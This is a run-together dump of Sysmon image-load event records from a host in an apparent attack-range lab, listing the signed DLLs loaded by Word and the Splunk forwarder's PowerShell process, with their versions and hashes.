CorporationMSO.dllMD5=DEAB06C2DDF8959448455176D2A1754E,SHA256=49708B1D39D76B2E9F096B95BCB30B6601D3B5C8E1D84830740EC25FE8F38F39,IMPHASH=DC87D746554F9923D58AE75726FDD781trueMicrosoft CorporationValid 734700x800000000000000049283Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.591{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\wtsapi32.dll10.0.14393.0 (rs1_release.160715-1616)Windows Remote Desktop Session Host Server SDK APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationwtsapi32.dllMD5=D0DB3DD09FB2B4ADABF4E719FAFC4EB9,SHA256=8B7C056B5F4AB604ED5077A39C63CE1B5A34929DE76DA4A3C54D6E648D123BAB,IMPHASH=AD7CEB919D43FA2BD394EC803EB6BCDAtrueMicrosoft WindowsValid 734700x800000000000000049282Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.591{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\propsys.dll7.0.14393.4169 (rs1_release.210107-1130)Microsoft Property SystemWindows® SearchMicrosoft Corporationpropsys.dllMD5=013D2BA96C261CDC62ECA7365E1C84D5,SHA256=26896478B6F1AF3756D5B1BB59BF2C6BE1C579B122CC882BAC35FEFB3EC3EE36,IMPHASH=FF25576501EAFD13671A6D5075C4513EtrueMicrosoft WindowsValid 734700x800000000000000049281Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.591{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\Mso98win32client.dll16.0.13801.20808Microsoft Office componentMicrosoft OfficeMicrosoft CorporationMso98Win32Client.dllMD5=58F3352E3A0867817F759EA7940F2E10,SHA256=86AFDD63CFCA5B03D5265A2828F073CA401FE00B555B40AD9A0F7A193E200315,IMPHASH=5289CA73482DF21D2E2AC9AA34D2F601trueMicrosoft CorporationValid 734700x800000000000000049280Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.591{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\Mso50win32client.dll16.0.13801.20442Microsoft Office componentMicrosoft OfficeMicrosoft CorporationMso50Win32Client.dllMD5=AF5E26C38079AF31CCAA732B6A351A0D,SHA256=C0BBDC787DCD21EF78B89B6C18C81A1ECC8F5B4D3C4E2F412525FD70039E667D,IMPHASH=B977E4ADBD61DCC376AAB0975CD2F638trueMicrosoft CorporationValid 734700x800000000000000049279Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.591{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\Mso40UIwin32client.dll16.0.13801.20840Microsoft Office componentMicrosoft OfficeMicrosoft Corporationmso40uiWin32Client.dllMD5=42CCB21CAB1B66AA9C7FF859A4BED97B,SHA256=76EFA67F0B7EA66DEAB42DB051DBCBA4B05EC04032B1D8AAE5E7761D7C6CA24F,IMPHASH=273D35E1E007F2806DAB768F774DC744trueMicrosoft CorporationValid 734700x800000000000000049278Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.575{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\wevtapi.dll10.0.14393.3053 (rs1_release_inmarket.190612-1836)Eventing Consumption and Configuration APIMicrosoft® Windows® Operating SystemMicrosoft Corporationwevtapi.dllMD5=E0D1C6AC18800339A2EC1134A7C899ED,SHA256=E4340ACB47A202B1BFCE678C44BA5B0B171E388021B0B7D0CED19A55AD9712E1,IMPHASH=4CAFDD735088F52AC974373982DCCDF2trueMicrosoft WindowsValid 734700x800000000000000049277Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.575{7BD73061-728B-613B-510B-00000000F001}6764C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000049276Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.575{7BD73061-728B-613B-510B-00000000F001}6764C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000049275Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.575{7BD73061-728B-613B-510B-00000000F001}6764C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000049274Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.575{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\Mso30win32client.dll16.0.13801.20840Microsoft Office componentMicrosoft OfficeMicrosoft CorporationMso30Win32Client.dllMD5=F4FDCEA65C429F01EEC45163F005B5E3,SHA256=F3FF96E7EBF9E4BB43170456395F09C1DAB832B1F66EBFAFF5EF54344DB929D5,IMPHASH=7BEECBC9CD81B0756278973CBEC196E8trueMicrosoft CorporationValid 734700x800000000000000049273Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.575{7BD73061-728B-613B-510B-00000000F001}6764C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000049272Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.575{7BD73061-728B-613B-510B-00000000F001}6764C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000049271Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.575{7BD73061-728B-613B-510B-00000000F001}6764C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000049270Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.575{7BD73061-728B-613B-510B-00000000F001}6764C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000049269Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.575{7BD73061-728B-613B-510B-00000000F001}6764C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000049268Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.575{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\ntasn1.dll10.0.14393.0 (rs1_release.160715-1616)Microsoft ASN.1 APIMicrosoft® Windows® Operating SystemMicrosoft Corporationntasn1.dllMD5=A45B23E8D2623CE3F760377766AF3E24,SHA256=E0A8F5055CD9E2AF029B8537E09EFFAF1F46C724CB720A6395DCF563EF70B843,IMPHASH=EAA4328F5E33714FA08C71E4AAE43CC1trueMicrosoft WindowsValid 734700x800000000000000049267Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.575{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\ncrypt.dll10.0.14393.4046 (rs1_release.201028-1803)Windows NCrypt RouterMicrosoft® Windows® Operating SystemMicrosoft Corporationncrypt.dllMD5=025DBE9D0F7AE719C64DE3A4555A7C0A,SHA256=1A223828A444E7797A9E00632DAE81AC3AC68B38786E67912B1C3FC6118FB6B4,IMPHASH=B6A1A16A2B5E910045E998CD7709E966trueMicrosoft WindowsValid 734700x800000000000000049266Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.575{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000049265Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.575{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\RstrtMgr.dll10.0.14393.2457 (rs1_release_inmarket.180822-1743)Restart ManagerMicrosoft® Windows® Operating SystemMicrosoft CorporationRstrtMgr.dllMD5=F14EA4521A8C000F1165581B5837355E,SHA256=6CB383C1FFB8AB7301B1666EEA83FD484EA049147C834725894652DB20D28359,IMPHASH=3F0B48C459533250EAC82BAC5B579450trueMicrosoft WindowsValid 734700x800000000000000049264Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.575{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\IPHLPAPI.DLL10.0.14393.2339 (rs1_release_inmarket.180611-1502)IP Helper APIMicrosoft® Windows® Operating SystemMicrosoft Corporationiphlpapi.dllMD5=3CD38EDF9CA12F91131EDEE32D1C9DF5,SHA256=AF2440640BF8BDEAAF0DECDD7C354158E415ED0AA340ABA7A6CCCDC09C1E728B,IMPHASH=98738BA55485CCA932F6D222F47FFC55trueMicrosoft WindowsValid 734700x800000000000000049263Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.575{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\msasn1.dll10.0.14393.0 (rs1_release.160715-1616)ASN.1 Runtime APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationmsasn1.dllMD5=299464D218A27B56684B715365D149FE,SHA256=2BFE4014E06552A9D4201EF9D1C605694AAF2B7B811265EFD91FC6D1C2D48242,IMPHASH=B6562243FBF394F03046E917C719260FtrueMicrosoft WindowsValid 734700x800000000000000049262Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.575{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\crypt32.dll10.0.14393.4350 (rs1_release.210407-2154)Crypto API32Microsoft® Windows® Operating SystemMicrosoft CorporationCRYPT32.DLLMD5=95BA70CFA8087A209500D7D350BF3A59,SHA256=4265157E8DC2A0E32A6328D54181CC31FD24E3017E60B270623C2CDBE5FAB4FA,IMPHASH=5BAA515B293A764CA06512D078C4E624trueMicrosoft WindowsValid 734700x800000000000000049261Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.575{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\cryptui.dll10.0.14393.3321 (rs1_release.191016-1811)Microsoft Trust UI ProviderMicrosoft® Windows® Operating SystemMicrosoft CorporationCRYPTUI.DLLMD5=7BA8C29986BA103E2353D405DCCB87D7,SHA256=E9FFD440B5318D65AC2A38125CC417C8F34C6344CA8D9251A8ABE74D14C518B8,IMPHASH=62620EF249FFBE3A3FFFCF86ECC0E8AFtrueMicrosoft WindowsValid 734700x800000000000000049260Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.575{7BD73061-728B-613B-510B-00000000F001}6764C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000049259Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.575{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\Mso20win32client.dll16.0.13801.20840Microsoft Office componentMicrosoft OfficeMicrosoft CorporationMso20Win32Client.dllMD5=33E67D19ED73BD77FAB770F3677363E0,SHA256=3A7198AC7F995AE9FCA91372AFC3719C04417D638EE37EAA3162DE0A99F0F6B9,IMPHASH=F911175EE1A12AC6F98F49CC0BCBA406trueMicrosoft CorporationValid 734700x800000000000000049258Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.575{7BD73061-728B-613B-510B-00000000F001}6764C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000049257Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.575{7BD73061-728B-613B-510B-00000000F001}6764C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000049256Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.575{7BD73061-728B-613B-510B-00000000F001}6764C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000049255Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.575{7BD73061-728B-613B-510B-00000000F001}6764C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000049254Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.575{7BD73061-728B-613B-510B-00000000F001}6764C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000049253Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.575{7BD73061-728B-613B-510B-00000000F001}6764C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000049252Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.575{7BD73061-728B-613B-510B-00000000F001}6764C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000049251Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.575{7BD73061-728B-613B-510B-00000000F001}6764C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000049250Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.559{7BD73061-728B-613B-510B-00000000F001}6764C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000049249Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.559{7BD73061-728B-613B-510B-00000000F001}6764C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000049248Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.559{7BD73061-728B-613B-510B-00000000F001}6764C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 734700x800000000000000049247Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.559{7BD73061-728B-613B-510B-00000000F001}6764C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000049246Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.559{7BD73061-728B-613B-510B-00000000F001}6764C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000049245Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.559{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\WinSxS\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.14393.4169_none_7de0bbf28341b1f2\comctl32.dll6.10 (rs1_release.210107-1130)User Experience Controls LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationcomctl32.DLLMD5=FD486B6FA360ABE43E02E85F3164E9BE,SHA256=733922A216EC03FC6AA405205CD2F8BB81A39180F26839588B97F310E21071B5,IMPHASH=C3F4A4DA2950075F09DD008B60FF567CtrueMicrosoft WindowsValid 734700x800000000000000049244Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.559{7BD73061-728B-613B-510B-00000000F001}6764C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000049243Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.559{7BD73061-728B-613B-510B-00000000F001}6764C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000049242Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.559{7BD73061-728B-613B-510B-00000000F001}6764C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000049241Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.559{7BD73061-728B-613B-510B-00000000F001}6764C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000049240Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.559{7BD73061-728B-613B-510B-00000000F001}6764C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000049239Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.559{7BD73061-728B-613B-510B-00000000F001}6764C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000049238Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.559{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft 